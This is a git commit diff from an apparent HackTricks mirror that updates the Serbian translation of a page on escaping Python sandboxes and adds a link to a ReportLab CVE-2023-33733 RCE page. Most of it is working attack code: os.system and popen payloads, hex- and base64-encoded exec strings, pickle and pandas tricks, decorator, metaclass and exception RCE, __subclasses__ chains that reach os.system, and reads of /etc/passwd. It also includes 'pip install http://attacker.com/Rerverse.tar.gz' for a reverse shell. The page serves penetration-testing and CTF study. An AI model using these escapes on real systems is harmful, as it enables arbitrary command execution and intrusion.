mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/bypass-pytho
This commit is contained in:
parent
fba108249f
commit
c3f232f409
@ -70,6 +70,7 @@
|
||||
- [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
|
||||
- [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
|
||||
- [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md)
|
||||
- [Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733](generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md)
|
||||
- [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||||
- [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md)
|
||||
- [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md)
|
||||
|
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Ovo su neki trikovi za zaobilaženje zaštite python sandboksova i izvršavanje proizvoljnih komandi.
|
||||
Ovo su neke tehnike za bypass Python sandboxes i izvršavanje proizvoljnih komandi.
|
||||
|
||||
## Biblioteke za izvršavanje komandi
|
||||
## Command Execution Libraries
|
||||
|
||||
Prva stvar koju treba da znate je da li možete direktno izvršiti kod sa nekom već uvezenom bibliotekom, ili ako možete uvesti neku od ovih biblioteka:
|
||||
Prva stvar koju treba da znate je da li možete direktno da izvršite kod koristeći neku već importovanu biblioteku, ili da li možete da importujete neku od ovih biblioteka:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
@ -39,21 +39,21 @@ open('/var/www/html/input', 'w').write('123')
|
||||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
Zapamtite da funkcije _**open**_ i _**read**_ mogu biti korisne za **čitati fajlove** unutar python sandboksa i za **pisanje nekog koda** koji možete **izvršiti** da **obiđete** sandbox.
|
||||
Zapamtite da _**open**_ i _**read**_ funkcije mogu biti korisne za **čitanje fajlova** unutar python sandbox i za **pisanje nekog koda** koji biste mogli **izvršiti** da biste **zaobišli** sandbox.
|
||||
|
||||
> [!CAUTION] > **Python2 input()** funkcija omogućava izvršavanje python koda pre nego što program sruši.
|
||||
> [!CAUTION] > **Python2 input()** funkcija dozvoljava izvršavanje python koda pre nego što program padne.
|
||||
|
||||
Python pokušava da **učita biblioteke iz trenutnog direktorijuma prvo** (sledeća komanda će odštampati odakle python učitava module): `python3 -c 'import sys; print(sys.path)'`
|
||||
Python pokušava da **prvo učita biblioteke iz trenutnog direktorijuma** (sledeća komanda će odštampati odakle python učitava module): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
.png>)
|
||||
|
||||
## Obilaženje pickle sandboksa sa podrazumevano instaliranim python paketima
|
||||
## Bypass pickle sandbox with the default installed python packages
|
||||
|
||||
### Podrazumevani paketi
|
||||
|
||||
Možete pronaći **listu unapred instaliranih** paketa ovde: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Imajte na umu da iz picklea možete učiniti da python okruženje **uvozi proizvoljne biblioteke** instalirane u sistemu.\
|
||||
Na primer, sledeći pickle, kada se učita, će uvesti pip biblioteku da je koristi:
|
||||
Možete pronaći **listu preinstaliranih** paketa ovde: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Imajte na umu da iz pickle-a možete naterati python env da **import arbitrary libraries** instalirane u sistemu.\
|
||||
Na primer, sledeći pickle, kada se učita, će importovati pip biblioteku da je iskoristi:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
@ -66,32 +66,32 @@ return (pip.main,(["list"],))
|
||||
|
||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
Za više informacija o tome kako pickle funkcioniše, proverite ovo: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
Za više informacija o tome kako pickle radi, pogledajte ovo: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pip paket
|
||||
### Pip package
|
||||
|
||||
Trik koji je podelio **@isHaacK**
|
||||
Trik podelio **@isHaacK**
|
||||
|
||||
Ako imate pristup `pip` ili `pip.main()`, možete instalirati proizvoljan paket i dobiti reverznu ljusku pozivajući:
|
||||
Ako imate pristup `pip` ili `pip.main()` možete instalirati proizvoljan paket i dobiti reverse shell pozivanjem:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Možete preuzeti paket za kreiranje reverzne ljuske ovde. Imajte na umu da pre korišćenja treba da **dekompresujete, promenite `setup.py` i stavite svoju IP adresu za reverznu ljusku**:
|
||||
Možete preuzeti paket za kreiranje reverse shell ovde. Imajte na umu da pre upotrebe treba da ga **dekompresujete, izmenite `setup.py`, i unesete svoju IP adresu za reverse shell**:
|
||||
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!TIP]
|
||||
> Ovaj paket se zove `Reverse`. Međutim, posebno je napravljen tako da kada napustite reverznu ljusku, ostatak instalacije neće uspeti, tako da **nećete ostaviti nijedan dodatni python paket instaliran na serveru** kada odete.
|
||||
> Ovaj paket se zove `Reverse`. Međutim, on je posebno napravljen tako da kada izađete iz reverse shell ostatak instalacije neće uspeti, tako da vi **nećete ostaviti nijedan dodatni python package instaliran na serveru** kada odete.
|
||||
|
||||
## Eval-ovanje python koda
|
||||
## Eval-ing python code
|
||||
|
||||
> [!WARNING]
|
||||
> Imajte na umu da exec omogućava višelinijske stringove i ";", ali eval ne (proverite walrus operator)
|
||||
> Imajte na umu da exec dozvoljava multiline strings i ";", ali eval ne (pogledajte walrus operator)
|
||||
|
||||
Ako su određeni karakteri zabranjeni, možete koristiti **hex/octal/B64** reprezentaciju da **zaobiđete** ograničenje:
|
||||
Ako su određeni karakteri zabranjeni, možete koristiti **hex/octal/B64** reprezentaciju da **bypass** ograničenje:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
@ -112,7 +112,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
### Druge biblioteke koje omogućavaju izvršavanje python koda
|
||||
### Ostale biblioteke koje omogućavaju eval python koda
|
||||
```python
|
||||
#Pandas
|
||||
import pandas as pd
|
||||
@ -126,7 +126,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
## Operateri i kratke trikove
|
||||
Pogledajte i realan primer bekstva iz sandboxovanog evaluatora u PDF generatorima:
|
||||
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Iskorišćava rl_safe_eval da pristupi function.__globals__ i os.system preko evaluiranih atributa (na primer, boje fonta) i vraća validnu vrednost kako bi renderovanje ostalo stabilno.
|
||||
|
||||
{{#ref}}
|
||||
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
{{#endref}}
|
||||
|
||||
## Operatori i kratki trikovi
|
||||
```python
|
||||
# walrus operator allows generating variable inside a list
|
||||
## everything will be executed in order
|
||||
@ -135,9 +143,9 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## Bypass zaštita kroz kodiranja (UTF-7)
|
||||
## Zaobilaženje zaštita putem kodiranja (UTF-7)
|
||||
|
||||
U [**ovoj analizi**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 se koristi za učitavanje i izvršavanje proizvoljnog python koda unutar naizgled sandboks okruženja:
|
||||
U [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 se koristi za učitavanje i izvršavanje proizvoljnog python koda unutar naizgled sandbox okruženja:
|
||||
```python
|
||||
assert b"+AAo-".decode("utf_7") == "\n"
|
||||
|
||||
@ -148,13 +156,13 @@ return x
|
||||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
Takođe je moguće zaobići to koristeći druge kodiranja, npr. `raw_unicode_escape` i `unicode_escape`.
|
||||
Takođe je moguće zaobići ga koristeći druga kodiranja, npr. `raw_unicode_escape` i `unicode_escape`.
|
||||
|
||||
## Python izvršavanje bez poziva
|
||||
## Izvršavanje u Pythonu bez poziva
|
||||
|
||||
Ako ste unutar python zatvora koji **ne dozvoljava pozive**, još uvek postoje neki načini da **izvršite proizvoljne funkcije, kod** i **komande**.
|
||||
Ako se nalazite unutar python jail-a koji **ne dozvoljava pozive**, i dalje postoje načini da **izvršite proizvoljne funkcije, kod** i **komande**.
|
||||
|
||||
### RCE sa [decorator-ima](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
```python
|
||||
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
|
||||
@exec
|
||||
@ -176,13 +184,13 @@ X = exec(X)
|
||||
@'__import__("os").system("sh")'.format
|
||||
class _:pass
|
||||
```
|
||||
### RCE kreiranje objekata i preopterećenje
|
||||
### RCE creating objects and overloading
|
||||
|
||||
Ako možete **deklarisati klasu** i **napraviti objekat** te klase, mogli biste **pisati/prepisivati različite metode** koje mogu biti **pokrenute** **bez** **potrebe da ih pozivate direktno**.
|
||||
Ako možete **declare a class** i **create an object** te klase, možete **write/overwrite different methods** koje se mogu **triggered** **without** **needing to call them directly**.
|
||||
|
||||
#### RCE sa prilagođenim klasama
|
||||
#### RCE with custom classes
|
||||
|
||||
Možete modifikovati neke **metode klase** (_prepisivanjem postojećih metoda klase ili kreiranjem nove klase_) da ih naterate da **izvršavaju proizvoljan kod** kada su **pokrenute** bez direktnog pozivanja.
|
||||
Možete izmeniti neke **class methods** (_by overwriting existing class methods or creating a new class_) da bi one **execute arbitrary code** kada su **triggered** bez direktnog pozivanja.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
@ -232,9 +240,9 @@ __iand__ (k = 'import os; os.system("sh")')
|
||||
__ior__ (k |= 'import os; os.system("sh")')
|
||||
__ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### Kreiranje objekata sa [metaklasama](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
#### Kreiranje objekata sa [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
Ključna stvar koju metaklase omogućavaju je **da napravimo instancu klase, bez direktnog pozivanja konstruktora**, kreiranjem nove klase sa ciljanom klasom kao metaklasom.
|
||||
Ključna stvar koju nam metaclasses omogućavaju je da **napravimo instancu klase, bez direktnog pozivanja konstruktora**, tako što kreiramo novu klasu koja ima ciljnu klasu kao metaclass.
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
@ -249,9 +257,9 @@ Sub['import os; os.system("sh")']
|
||||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
#### Kreiranje objekata sa izuzecima
|
||||
#### Kreiranje objekata pomoću exceptions
|
||||
|
||||
Kada se **izuzetak aktivira**, objekat **Exception** se **kreira** bez potrebe da direktno pozivate konstruktor (trik od [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
Kada **exception se pokrene**, objekat klase **Exception** se **kreira** bez potrebe da direktno pozivate konstruktor (trik od [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
@ -293,7 +301,7 @@ __iadd__ = eval
|
||||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### Čitajte datoteku uz pomoć ugrađenih funkcija i licence
|
||||
### Pročitaj fajl sa builtins help & license
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
@ -307,17 +315,17 @@ pass
|
||||
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Ako možete pristupiti **`__builtins__`** objektu, možete uvesti biblioteke (primetite da možete koristiti i druge string reprezentacije prikazane u poslednjem odeljku):
|
||||
Ako možete pristupiti objektu **`__builtins__`**, možete importovati biblioteke (imajte na umu da ovde možete takođe koristiti i druge string reprezentacije prikazane u poslednjem odeljku):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### No Builtins
|
||||
### Nema `__builtins__`
|
||||
|
||||
Kada nemate `__builtins__`, nećete moći da uvezete ništa niti čak da čitate ili pišete fajlove jer **sve globalne funkcije** (kao što su `open`, `import`, `print`...) **nisu učitane**.\
|
||||
Međutim, **po defaultu, python učitava mnogo modula u memoriju**. Ovi moduli mogu delovati benigno, ali neki od njih **takođe uvoze opasne** funkcionalnosti unutar sebe koje se mogu iskoristiti za dobijanje čak i **arbitrarne izvršne** koda.
|
||||
Kada nemaš `__builtins__` nećeš moći importovati ništa niti čak čitati ili pisati fajlove, pošto **sve globalne funkcije** (kao `open`, `import`, `print`...) **nisu učitane**.\
|
||||
Međutim, **po defaultu python učitava mnogo modula u memoriju**. Ovi moduli mogu delovati benigno, ali neki od njih su **takođe importuju opasne** funkcionalnosti unutra kojih se može pristupiti da bi se dobilo čak i **proizvoljno izvršavanje koda**.
|
||||
|
||||
U sledećim primerima možete posmatrati kako da **zloupotrebite** neke od ovih "**benignih**" modula učitanih da **pristupite** **opasnim** **funkcionalnostima** unutar njih.
|
||||
U narednim primerima možeš videti kako da **zloupotrebiš** neke od ovih "**benignih**" modula učitanih da bi se **pristupilo** **opasnim** **funkcionalnostima** unutar njih.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
@ -359,7 +367,7 @@ get_flag.__globals__['__builtins__']
|
||||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**Ispod se nalazi veća funkcija**](#recursive-search-of-builtins-globals) za pronalaženje desetina/**stotina** **mesta** gde možete pronaći **builtins**.
|
||||
[**Ispod se nalazi veća funkcija**](#recursive-search-of-builtins-globals) da pronađe desetine/**stotine** **mesta** gde možete pronaći **builtins**.
|
||||
|
||||
#### Python2 i Python3
|
||||
```python
|
||||
@ -367,7 +375,7 @@ get_flag.__globals__['__builtins__']
|
||||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||||
__builtins__["__import__"]('os').system('ls')
|
||||
```
|
||||
### Ugrađeni payloadi
|
||||
### Builtins payloads
|
||||
```python
|
||||
# Possible payloads once you have found the builtins
|
||||
__builtins__["open"]("/etc/passwd").read()
|
||||
@ -375,9 +383,9 @@ __builtins__["__import__"]("os").system("ls")
|
||||
# There are lots of other payloads that can be abused to execute commands
|
||||
# See them below
|
||||
```
|
||||
## Globals and locals
|
||||
## Globalne i lokalne
|
||||
|
||||
Proveravanje **`globals`** i **`locals`** je dobar način da saznate šta možete da pristupite.
|
||||
Provera **`globals`** i **`locals`** je dobar način da saznate čemu imate pristup.
|
||||
```python
|
||||
>>> globals()
|
||||
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
|
||||
@ -401,15 +409,15 @@ class_obj.__init__.__globals__
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Ispod se nalazi veća funkcija**](#recursive-search-of-builtins-globals) za pronalaženje desetina/**stotina** **mesta** gde možete pronaći **globals**.
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) da pronađe desetine/**stotine** **mesta** gde možete pronaći **globals**.
|
||||
|
||||
## Otkrijte proizvoljnu izvršavanje
|
||||
## Discover Arbitrary Execution
|
||||
|
||||
Ovde želim da objasnim kako lako otkriti **opasnije funkcionalnosti koje su učitane** i predložim pouzdanije eksploate.
|
||||
Ovde želim objasniti kako lako otkriti **više opasnih funkcionalnosti koje su učitane** i predložiti pouzdanije exploits.
|
||||
|
||||
#### Pristupanje podklasama sa zaobilaženjima
|
||||
#### Accessing subclasses with bypasses
|
||||
|
||||
Jedan od najosetljivijih delova ove tehnike je mogućnost **pristupa osnovnim podklasama**. U prethodnim primerima to je učinjeno korišćenjem `''.__class__.__base__.__subclasses__()` ali postoje **drugi mogući načini**:
|
||||
Jedan od najosetljivijih delova ove tehnike je mogućnost da se **access the base subclasses**. U prethodnim primerima ovo je urađeno koristeći `''.__class__.__base__.__subclasses__()` ali postoje **drugi mogući načini**:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
@ -437,18 +445,18 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
|
||||
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
|
||||
```
|
||||
### Pronalaženje opasnih učitanih biblioteka
|
||||
### Pronalaženje opasnih biblioteka koje su učitane
|
||||
|
||||
Na primer, znajući da sa bibliotekom **`sys`** može da se **importuje proizvoljna biblioteka**, možete pretražiti sve **module koji su učitani i koji imaju importovan sys unutar njih**:
|
||||
Na primer, znajući da sa bibliotekom **`sys`** moguće je **import arbitrary libraries**, možete pretražiti sve **učitane module koji su u sebi importovali `sys`**:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
Postoji mnogo, i **samo nam je jedan potreban** da izvršimo komande:
|
||||
Ima ih mnogo, i **treba nam samo jedan** da izvršimo komande:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
Možemo uraditi istu stvar sa **drugim bibliotekama** za koje znamo da se mogu koristiti za **izvršavanje komandi**:
|
||||
Isto možemo uraditi i sa **drugim bibliotekama** za koje znamo da se mogu koristiti za **izvršavanje komandi**:
|
||||
```python
|
||||
#os
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
|
||||
@ -483,7 +491,7 @@ Možemo uraditi istu stvar sa **drugim bibliotekama** za koje znamo da se mogu k
|
||||
#pdb
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
|
||||
```
|
||||
Pored toga, mogli bismo čak pretražiti koji moduli učitavaju zlonamerne biblioteke:
|
||||
Štaviše, mogli bismo čak i da potražimo koji moduli učitavaju maliciozne biblioteke:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
for b in bad_libraries_names:
|
||||
@ -502,7 +510,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
||||
pdb:
|
||||
"""
|
||||
```
|
||||
Pored toga, ako mislite da **druge biblioteke** mogu **pozvati funkcije za izvršavanje komandi**, možemo takođe **filtrirati po imenima funkcija** unutar mogućih biblioteka:
|
||||
Štaviše, ako mislite da **ostale biblioteke** mogu da **pozivaju funkcije za izvršavanje komandi**, možemo takođe **filtrirati po imenima funkcija** unutar mogućih biblioteka:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
@ -535,10 +543,10 @@ execute:
|
||||
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, 